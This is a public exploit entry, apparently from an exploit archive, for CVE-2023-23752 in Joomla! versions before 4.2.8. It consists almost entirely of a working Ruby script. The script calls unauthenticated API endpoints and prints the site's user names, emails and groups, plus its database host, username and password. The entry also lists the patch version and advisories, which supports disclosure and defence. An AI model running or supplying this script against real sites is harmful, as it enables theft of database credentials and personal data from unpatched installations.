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Joomla! 4.2.7 Unauthenticated Information Disclosure

Joomla! versions prior to 4.2.8 suffer from an unauthenticated information disclosure vulnerability.

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#!/usr/bin/env ruby# Exploit## Title: Joomla! < 4.2.8 - Unauthenticated information disclosure## Exploit author: noraj (Alexandre ZANNI) for ACCEIS (https://www.acceis.fr)## Author website: https://pwn.by/noraj/## Exploit source: https://github.com/Acceis/exploit-CVE-2023-23752## Date: 2023-03-24## Vendor Homepage: https://www.joomla.org/## Software Link: https://downloads.joomla.org/cms/joomla4/4-2-7/Joomla_4-2-7-Stable-Full_Package.tar.gz?format=gz## Version: 4.0.0 < 4.2.8 (it means from 4.0.0 up to 4.2.7)## Tested on: Joomla! Version 4.2.7## CVE : CVE-2023-23752# Vulnerability## Discoverer: Zewei Zhang from NSFOCUS TIANJI Lab## Date: 2023-02-24## Discoverer website: https://nsfocusglobal.com/company-overview/nsfocus-security-labs/## Title: Joomla Unauthorized Access## CVE: CVE-2023-23752## Patch: Update to >= 4.2.8## References:##   - https://nsfocusglobal.com/joomla-unauthorized-access-vulnerability-cve-2023-23752-notice/##   - https://developer.joomla.org/security-centre/894-20230201-core-improper-access-check-in-webservice-endpoints.html##   - https://attackerkb.com/topics/18qrh3PXIX/cve-2023-23752##   - https://nvd.nist.gov/vuln/detail/CVE-2023-23752##   - https://vulncheck.com/blog/joomla-for-rce##   - https://github.com/projectdiscovery/nuclei-templates/blob/main/cves/2023/CVE-2023-23752.yaml# standard libraryrequire 'json'# gemsrequire 'httpx'require 'docopt'require 'paint'doc = <<~DOCOPT  #{Paint['Joomla! < 4.2.8 - Unauthenticated information disclosure', :bold]}  #{Paint['Usage:', :red]}    #{__FILE__} <url> [options]    #{__FILE__} -h | --help  #{Paint['Parameters:', :red]}    <url>       Root URL (base path) including HTTP scheme, port and root folder  #{Paint['Options:', :red]}    --debug     Display arguments    --no-color  Disable colorized output (NO_COLOR environment variable is respected too)    -h, --help  Show this screen  #{Paint['Examples:', :red]}    #{__FILE__} http://127.0.0.1:4242    #{__FILE__} https://example.org/subdir  #{Paint['Project:', :red]}    #{Paint['author', :underline]} (https://pwn.by/noraj / https://twitter.com/noraj_rawsec)    #{Paint['company', :underline]} (https://www.acceis.fr / https://twitter.com/acceis)    #{Paint['source', :underline]} (https://github.com/Acceis/exploit-CVE-2023-23752)DOCOPTdef fetch_users(root_url, http)  vuln_url = "#{root_url}/api/index.php/v1/users?public=true"  http.get(vuln_url)enddef parse_users(root_url, http)  data_json = fetch_users(root_url, http)  data = JSON.parse(data_json)['data']  users = []  data.each do |user|    if user['type'] == 'users'      id = user['attributes']['id']      name = user['attributes']['name']      username = user['attributes']['username']      email = user['attributes']['email']      groups = user['attributes']['group_names']      users << {id: id, name: name, username: username, email: email, groups: groups}    end  end  usersenddef display_users(root_url, http)  users = parse_users(root_url, http)  puts Paint['Users', :red, :bold]  users.each do |u|    puts "[#{u[:id]}] #{u[:name]} (#{Paint[u[:username], :yellow]}) - #{u[:email]} - #{u[:groups]}"  endenddef fetch_config(root_url, http)  vuln_url = "#{root_url}/api/index.php/v1/config/application?public=true"  http.get(vuln_url)enddef parse_config(root_url, http)  data_json = fetch_config(root_url, http)  data = JSON.parse(data_json)['data']  config = {}  data.each do |entry|    if entry['type'] == 'application'      key = entry['attributes'].keys.first      config[key] = entry['attributes'][key]    end  end  configenddef display_config(root_url, http)  c = parse_config(root_url, http)  puts Paint['Site info', :red, :bold]  puts "Site name: #{c['sitename']}"  puts "Editor: #{c['editor']}"  puts "Captcha: #{c['captcha']}"  puts "Access: #{c['access']}"  puts "Debug status: #{c['debug']}"  puts  puts Paint['Database info', :red, :bold]  puts "DB type: #{c['dbtype']}"  puts "DB host: #{c['host']}"  puts "DB user: #{Paint[c['user'], :yellow, :bold]}"  puts "DB password: #{Paint[c['password'], :yellow, :bold]}"  puts "DB name: #{c['db']}"  puts "DB prefix: #{c['dbprefix']}"  puts "DB encryption #{c['dbencryption']}"endbegin  args = Docopt.docopt(doc)  Paint.mode = 0 if args['--no-color']  puts args if args['--debug']  http = HTTPX  display_users(args['<url>'], http)  puts  display_config(args['<url>'], http)rescue Docopt::Exit => e  puts e.messageend

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